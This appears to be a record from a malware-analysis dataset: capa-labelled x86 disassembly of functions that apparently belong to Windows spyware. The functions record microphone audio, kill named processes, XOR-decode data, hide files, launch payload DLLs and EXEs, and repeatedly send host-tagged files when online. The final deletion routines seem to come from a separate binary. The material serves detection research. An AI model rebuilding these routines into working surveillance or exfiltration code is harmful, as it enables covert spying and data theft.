joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402860
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, eax
mov eax, dword [ebp + 8]
push edi
push eax
mov eax, esi
call fcn.004027e0
mov ebx, eax
add esp, 4
test ebx, ebx
jle 0x4028d9
mov ecx, dword [ebp + 0xc]
push 0x433614
push ecx
call fcn.0041d831
mov edi, eax
add esp, 8
test edi, edi
je 0x4028b7
push 2
push 0
push edi
call fcn.0041d910
push edi
call fcn.0041e27f
push edi
mov dword [ebp - 8], eax
call fcn.0041dafa
mov eax, dword [ebp - 8]
add esp, 0x14
jmp 0x4028b9
xor eax, eax
cmp ebx, eax
je 0x40299c
mov ecx, dword [ebp + 8]
push 0
push esi
mov eax, esi
call fcn.004029b0
add esp, 8
test al, al
je 0x40299c
mov eax, dword [ebp + 0xc]
lea ebx, [ebp - 4]
mov dword [ebp - 4], 0
call fcn.00401ec0
mov edi, eax
lea ebx, [ebp - 8]
mov eax, esi
mov dword [ebp - 8], 0
call fcn.00401ec0
mov edx, dword [ebp + 0x10]
push 0x433618
push edx
mov ebx, eax
call fcn.0041d831
mov esi, eax
add esp, 8
test esi, esi
je 0x402982
test edi, edi
je 0x402931
mov eax, dword [ebp - 4]
push esi
push eax
push 1
push edi
call fcn.0041e071
push edi
call fcn.0041d848
add esp, 0x14
mov edi, dword [ebp + 8]
mov eax, edi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402940
push esi
sub eax, edx
push eax
push 1
push edi
call fcn.0041e071
add esp, 0x10
test ebx, ebx
je 0x402970
mov ecx, dword [ebp - 8]
push esi
push ecx
push 1
push ebx
call fcn.0041e071
push ebx
call fcn.0041d848
add esp, 0x14
push esi
call fcn.0041dafa
add esp, 4
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x40298f
push edi
call fcn.0041d848
add esp, 4
test ebx, ebx
je 0x40299c
push ebx
call fcn.0041d848
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4029b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
lea ebx, [ebp - 4]
mov esi, ecx
mov dword [ebp - 4], 0
call fcn.00401ec0
mov ecx, dword [ebp - 4]
mov edi, eax
push 1
push edi
mov ebx, esi
call fcn.00402c00
mov ebx, eax
add esp, 8
test ebx, ebx
jns 0x4029f9
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4029e7
mov ecx, dword [ebp - 4]
sub eax, edx
sub ecx, eax
cmp ebx, ecx
jge 0x402a68
mov edx, dword [ebp + 8]
push 0x433618
push edx
call fcn.0041d831
mov edx, eax
add esp, 8
mov dword [ebp - 8], edx
test edx, edx
je 0x402a68
cmp byte [ebp + 0xc], 0
jne 0x402a31
mov eax, esi
lea esi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402a20
sub eax, esi
lea esi, [eax + ebx]
mov ebx, dword [ebp - 4]
jmp 0x402a33
xor esi, esi
cmp esi, ebx
jge 0x402a50
push edx
push 1
lea eax, [esi + edi]
push 1
push eax
call fcn.0041e071
mov edx, dword [ebp - 8]
inc esi
add esp, 0x10
cmp esi, ebx
jl 0x402a37
push edx
call fcn.0041dafa
push edi
call fcn.0041d848
add esp, 8
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call fcn.0041d848
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402dd0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
lea eax, [ebp - 0x134]
push eax
push ebx
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402ee1
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x402e10
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402e20
sub eax, edx
inc eax
push eax
call fcn.0041ceb7
mov esi, eax
lea eax, [ebp - 0x110]
mov edx, esi
mov ecx, eax
add esp, 4
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402e41
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402e50
sub eax, edx
mov edx, eax
xor ecx, ecx
test edx, edx
jle 0x402e76
mov al, byte [ecx + esi]
cmp al, 0x41
jl 0x402e71
cmp al, 0x5a
jg 0x402e71
add al, 0x20
mov byte [ecx + esi], al
inc ecx
cmp ecx, edx
jl 0x402e61
mov ecx, dword [ebp + 8]
mov eax, esi
jmp 0x402e80
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402ea0
test dl, dl
je 0x402e9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402ea0
add eax, 2
add ecx, 2
test dl, dl
jne 0x402e80
xor eax, eax
jmp 0x402ea5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402ec2
mov edx, dword [ebp - 0x12c]
push edx
push eax
push 1
call edi
test eax, eax
je 0x402ec2
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.0041d848
add esp, 4
lea eax, [ebp - 0x134]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402e10
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.0041cec2
mov esp, ebp
pop ebp
ret

Function at 0x402f00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push 0x184
push 0
push esi
xor bl, bl
call fcn.00423a10
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareClasses.exe_shellopencommand
push closesocket
mov dword [ebp - 8], 0x184
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x402f64
lea ecx, [ebp - 8]
push ecx
push esi
push 0
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402f5a
mov bl, 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403870
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x439569], 0
jne 0x4038a8
push 0x100
call fcn.0041ceb7
add esp, 4
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [0x43953c], eax
mov dword [ebp - 4], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [0x439569], 1
mov eax, dword [0x43953c]
mov esp, ebp
pop ebp
ret

Function at 0x4038c0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x433614
push eax
call fcn.0041d831
mov esi, eax
add esp, 8
test esi, esi
je 0x4039a1
push ebx
push edi
push 2
push 0
push esi
call fcn.0041d910
push esi
call fcn.0041e27f
mov edi, eax
push edi
call fcn.0041ceb7
push 0
push 0
push esi
mov dword [ebp - 4], eax
call fcn.0041d910
add esp, 0x20
xor ebx, ebx
test edi, edi
jle 0x403936
lea ecx, [ecx]
push esi
call fcn.0041d725
add esp, 4
test eax, eax
jne 0x403936
mov ecx, dword [ebp - 4]
push esi
push 1
lea edx, [ebx + ecx]
push 1
push edx
call fcn.0041defd
inc ebx
add esp, 0x10
cmp ebx, edi
jl 0x403910
push esi
call fcn.0041dafa
add esp, 4
xor eax, eax
xor ecx, ecx
test edi, edi
jle 0x403962
cmp ecx, dword [ebp + 0x10]
jl 0x40394e
xor ecx, ecx
mov edx, dword [ebp + 0xc]
mov dl, byte [ecx + edx]
mov esi, dword [ebp - 4]
neg dl
xor byte [eax + esi], dl
inc eax
inc ecx
cmp eax, edi
jl 0x403947
mov eax, dword [ebp + 8]
push 0x433618
push eax
call fcn.0041d831
mov esi, eax
add esp, 8
test esi, esi
je 0x403998
mov ecx, dword [ebp - 4]
push esi
push edi
push 1
push ecx
call fcn.0041e071
push esi
call fcn.0041dafa
add esp, 0x14
pop edi
pop ebx
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4039b0
Capabilities:
Get hostname
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
call fcn.00401840
cmp byte [0x439568], 0
mov dword [ebp - 4], eax
jne 0x4039d6
call fcn.00401040
mov byte [0x439568], 1
mov eax, dword [0x439598]
mov eax, dword [eax + 0xa4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4039e4
mov ebx, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub eax, edx
mov esi, eax
cmp byte [0x439569], cl
jne 0x403a24
push 0x100
call fcn.0041ceb7
add esp, 4
lea ecx, [ebp - 8]
push ecx
push eax
mov dword [0x43953c], eax
mov dword [ebp - 8], 0x100
call ebx
mov byte [0x439569], 1
mov eax, dword [0x43953c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403a30
sub eax, edx
lea edx, [eax + esi + 0x20]
push edx
call fcn.0041ceb7
add esp, 4
cmp byte [0x439569], 0
mov edi, eax
jne 0x403a78
push 0x100
call fcn.0041ceb7
add esp, 4
lea ecx, [ebp - 8]
push ecx
push eax
mov dword [0x43953c], eax
mov dword [ebp - 8], 0x100
call ebx
mov byte [0x439569], 1
cmp byte [0x439568], 0
mov esi, dword [0x43953c]
jne 0x403a93
call fcn.00401040
mov byte [0x439568], 1
mov edx, dword [0x439598]
mov eax, dword [edx + 0xa4]
push esi
push eax
push str._s_getslistcomp_s
push edi
call fcn.0041d6a1
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
cmp byte [0x439568], 0
jne 0x403aca
call fcn.00401040
mov byte [0x439568], 1
mov ecx, dword [0x439598]
mov ecx, dword [ecx + 0xc]
mov edx, edi
call fcn.00401f40
mov esi, eax
test esi, esi
jne 0x403ae9
push 0x7530
call ebx
jmp 0x403ab5
push edi
call fcn.0041d848
mov eax, esi
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403af7
sub eax, edx
je 0x403bb2
mov bl, byte [0x439568]
test bl, bl
jne 0x403b1d
call fcn.00401040
mov bl, 1
mov byte [0x439568], bl
mov edx, dword [0x439598]
mov eax, dword [edx + 8]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403b30
sub eax, edx
mov dword [ebp - 8], eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403b41
sub eax, edx
mov edi, eax
test bl, bl
jne 0x403b5c
call fcn.00401040
mov byte [0x439568], 1
mov eax, dword [0x439598]
mov edx, dword [eax + 8]
xor eax, eax
xor ecx, ecx
test edi, edi
jle 0x403b81
cmp ecx, dword [ebp - 8]
jl 0x403b73
xor ecx, ecx
mov bl, byte [ecx + edx]
neg bl
xor byte [eax + esi], bl
inc eax
inc ecx
cmp eax, edi
jl 0x403b6c
mov ebx, dword [ebp - 4]
push 0x43395c
push ebx
call fcn.0041d831
mov edi, eax
add esp, 8
test edi, edi
je 0x403bb5
push esi
push 0x433610
push edi
call fcn.0041e99d
add esp, 0xc
push edi
call fcn.0041dafa
add esp, 4
jmp 0x403bb5
mov ebx, dword [ebp - 4]
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
call fcn.00401d20
add esp, 4
push esi
call fcn.0041d848
add esp, 4
push ebx
call fcn.0041d848
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404c00
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
push str.PROGRAMFILES
call fcn.0041da13
mov esi, eax
push str.SYSTEMDRIVE
mov dword [ebp - 4], esi
call fcn.0041da13
mov edi, eax
mov eax, esi
add esp, 8
mov dword [ebp - 8], edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404c30
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404c40
sub eax, esi
lea eax, [eax + edx + 0x80]
push ebx
push eax
call fcn.0041ceb7
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 4
mov esi, eax
mov edi, 0x43869c
mov ecx, dword [edi]
mov edx, dword [ebp - 4]
push ecx
push edx
push 0x4335d4
push esi
call fcn.0041d6a1
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x404c90
add edi, 4
cmp edi, 0x4386d0
jl 0x404c67
jmp 0x404c97
mov byte [0x43956b], 1
mov edi, 0x438768
lea esp, [esp]
mov eax, dword [edi]
mov ecx, dword [ebp - 8]
push eax
push ecx
push 0x4335d4
push esi
call fcn.0041d6a1
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x404cd7
add edi, 4
cmp edi, 0x438774
jl 0x404ca0
pop ebx
push esi
call fcn.0041d848
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.0041d848
add esp, 4
push 0
call fcn.0041ee71
int3
Function at 0x405610
Capabilities:
Check if file exists
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.00401630
mov edi, eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x405653
push edi
call fcn.0041eed9
add esp, 4
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
call fcn.00401d20
add esp, 4
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405658
sub eax, edx
add eax, 8
push eax
call fcn.0041ceb7
add esp, 4
push edi
mov esi, eax
push str._s
push esi
mov dword [ebp - 0x138], esi
call fcn.0041d6a1
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push esi
call fcn.0041e722
add esp, 8
mov dword [ebp - 0x134], eax
test eax, eax
je 0x405783
cmp eax, 0xffffffff
je 0x405783
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4056b6
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x10c]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4056d0
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ceb7
add esp, 4
lea edx, [ebp - 0x10c]
push edx
push edi
mov esi, eax
push 0x4335d4
push esi
call fcn.0041d6a1
lea eax, [ebp - 0x10c]
push str..dll
push eax
call fcn.0041e620
add esp, 0x18
test eax, eax
je 0x40571c
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x405747
lea ecx, [ebp - 0x10c]
push str..exe
push ecx
call fcn.0041e620
add esp, 8
test eax, eax
je 0x405747
push 5
push 0
push 0x43360e
push esi
push str.open
push 0
call ebx
push esi
call fcn.0041d848
mov eax, dword [ebp - 0x134]
add esp, 4
lea edx, [ebp - 0x130]
push edx
push eax
call fcn.0041e849
add esp, 8
test eax, eax
je 0x4056b1
mov ecx, dword [ebp - 0x134]
push ecx
call fcn.0041e977
mov esi, dword [ebp - 0x138]
add esp, 4
push esi
call fcn.0041d848
add esp, 4
push edi
call fcn.0041d848
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cec2
mov esp, ebp
pop ebp
ret
Function at 0x406d20
Capabilities:
Capture microphone audio

Disassembly:
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406d25
push esi
sub eax, edx
add eax, 0x20
push edi
push eax
call fcn.0041ceb7
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
add esp, 4
push 0
push 0
push 0
push str.open_new_type_waveaudio_alias_mic_buffer_6
mov edi, eax
call esi
push 0
push 0
push 0
push str.record_mic
call esi
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push str.stop_mic
call esi
push ebx
push str.save_mic__s
push edi
call fcn.0041d6a1
add esp, 0xc
push 0
push 0
push 0
push edi
call esi
push 0
push 0
push 0
push str.close_mic
call esi
push edi
call fcn.0041d848
add esp, 4
pop edi
pop esi
ret
Function at 0x407670
Capabilities:
Check if file exists
Check internet connectivity via wininet
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x407873
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407693
sub eax, edx
push eax
call fcn.0041ceb7
mov esi, eax
mov eax, ebx
add esp, 4
mov dword [esp + 0x14], esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4076b0
sub eax, ecx
push eax
call fcn.0041ceb7
add esp, 4
push eax
push esi
push 0
push 0
push ebx
mov dword [esp + 0x2c], eax
call fcn.0041f103
add esp, 0x14
call fcn.00401b00
cmp byte [0x439568], 0
mov dword [esp + 0x1c], eax
jne 0x4076f3
call fcn.00401040
mov byte [0x439568], 1
mov eax, dword [0x439598]
mov eax, dword [eax + 0xa4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407701
sub eax, edx
mov edi, eax
cmp byte [0x439569], cl
jne 0x407741
push 0x100
call fcn.0041ceb7
add esp, 4
lea ecx, [esp + 0x10]
push ecx
push eax
mov dword [0x43953c], eax
mov dword [esp + 0x18], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [0x439569], 1
mov eax, dword [0x43953c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407750
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407760
sub eax, esi
add eax, edx
lea edx, [eax + edi + 0x80]
push edx
call fcn.0041ceb7
add esp, 4
cmp byte [0x439569], 0
mov esi, eax
jne 0x4077b3
push 0x100
call fcn.0041ceb7
add esp, 4
lea ecx, [esp + 0x10]
push ecx
push eax
mov dword [0x43953c], eax
mov dword [esp + 0x18], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [0x439569], 1
cmp byte [0x439568], 0
mov edi, dword [0x43953c]
jne 0x4077ce
call fcn.00401040
mov byte [0x439568], 1
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
mov ecx, dword [0x439598]
push edx
mov edx, dword [ecx + 0xa4]
push eax
push edi
push edx
push str._s_comp_sext_s._s
push esi
call fcn.0041d6a1
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
lea ebx, [ebx]
push 0
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x40782f
mov edx, dword [esp + 0x1c]
push ebx
push esi
lea ecx, [esp + 0x18]
call fcn.00402300
add esp, 8
test eax, eax
jne 0x407843
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x407843
push 0x7530
call edi
jmp 0x407800
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0041d848
mov edx, dword [esp + 0x1c]
add esp, 4
push edx
call fcn.0041d848
mov eax, dword [esp + 0x20]
add esp, 4
push eax
call fcn.0041d848
add esp, 4
push esi
call fcn.0041d848
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41cec2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x436064]
jne 0x41cecc
repz ret
jmp fcn.0041f35c

Function at 0x428fdb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004224d2
and dword [ebp - 0x14], 0
cmp dword [0x43945c], 0
mov dword [ebp - 0x18], eax
jne 0x42908e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x429136
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x429136
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x43945c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x439460], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x439464], eax
call edi
push eax
call esi
mov dword [0x43946c], eax
test eax, eax
je 0x42908e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x439468], eax
mov eax, dword [0x439468]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4290e7
cmp dword [0x43946c], ecx
je 0x4290e7
push eax
call esi
push dword [0x43946c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4290e7
test ebx, ebx
je 0x4290e7
call edi
test eax, eax
je 0x4290de
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4290de
test byte [ebp - 8], 1
jne 0x4290e7
or dword [ebp + 0x10], 0x200000
jmp 0x42911a
mov eax, dword [0x439460]
cmp eax, dword [ebp - 0x18]
je 0x42911a
push eax
call esi
test eax, eax
je 0x42911a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x42911a
mov eax, dword [0x439464]
cmp eax, dword [ebp - 0x18]
je 0x42911a
push eax
call esi
test eax, eax
je 0x42911a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43945c]
call esi
test eax, eax
je 0x429136
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x429138
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cec2
leave
ret
Function at 0x402e10
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b7d71
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x28
push ebx
push esi
push edi
mov eax, dword [0x4dcac0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 1
push eax
mov eax, esp
sub eax, esp
je 0x402e4c
call dword [0xd04d8d58]
pop eax
lea ecx, [ebp - 0x30]
call fcn.00483641
mov byte [ebp - 4], 2
push 0x4bf750
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x14]
push ecx
call fcn.0040d390
add esp, 0xc
mov byte [ebp - 4], 3
push 0x4bf754
lea ecx, [ebp - 0x14]
call fcn.0040d0a0
lea edx, [ebp + 0xc]
push edx
lea ecx, [ebp - 0x14]
call fcn.0040d080
push 0
lea ecx, [ebp - 0x14]
call fcn.0040e440
push eax
lea ecx, [ebp - 0x30]
call fcn.004836fb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x402f00
lea ecx, [ebp - 0x30]
call fcn.00483345
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x30]
call fcn.0040e1c0
test eax, eax
jne 0x402efe
mov byte [ebp - 4], 4
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x30]
call fcn.004838a9
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
call fcn.0040e440
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x34]
call fcn.0040e3c0
jmp 0x402ef7
mov dword [ebp - 4], 3
jmp 0x402ea1
lea ecx, [ebp - 0x30]
call fcn.0048325f
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x14]
call fcn.0040e3c0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x30]
call fcn.00483667
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.0040e3c0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.0040e3c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407860
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b81c2
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x4dcac0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.00483641
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10]
call fcn.0040e300
mov byte [ebp - 4], 2
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e3e0
push 0x4bf818
lea ecx, [ebp - 0x10]
call fcn.0040d0a0
push 0
lea ecx, [ebp - 0x10]
call fcn.0040e440
push eax
lea ecx, [ebp - 0x2c]
call fcn.004836fb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x407940
lea ecx, [ebp - 0x2c]
call fcn.00483345
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x2c]
call fcn.00483606
test eax, eax
jne 0x40793e
lea ecx, [ebp - 0x2c]
call fcn.0040e1c0
test eax, eax
je 0x407918
push ecx
mov ecx, esp
mov dword [ebp - 0x30], esp
push ecx
lea ecx, [ebp - 0x2c]
call fcn.004838a9
mov dword [ebp - 0x40], eax
call fcn.00407860
add esp, 4
jmp 0x40793e
lea edx, [ebp - 0x34]
push edx
lea ecx, [ebp - 0x2c]
call fcn.004838a9
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
call fcn.0040e440
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x34]
call fcn.0040e3c0
jmp 0x4078d3
lea ecx, [ebp - 0x2c]
call fcn.0048325f
lea ecx, [ebp + 8]
call fcn.0040e440
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x40798e
mov dword [ebp - 0x38], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10]
call fcn.0040e3c0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.00483667
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040e3c0
mov eax, dword [ebp - 0x38]
jmp 0x4079bf
mov dword [ebp - 0x3c], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10]
call fcn.0040e3c0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.00483667
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040e3c0
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret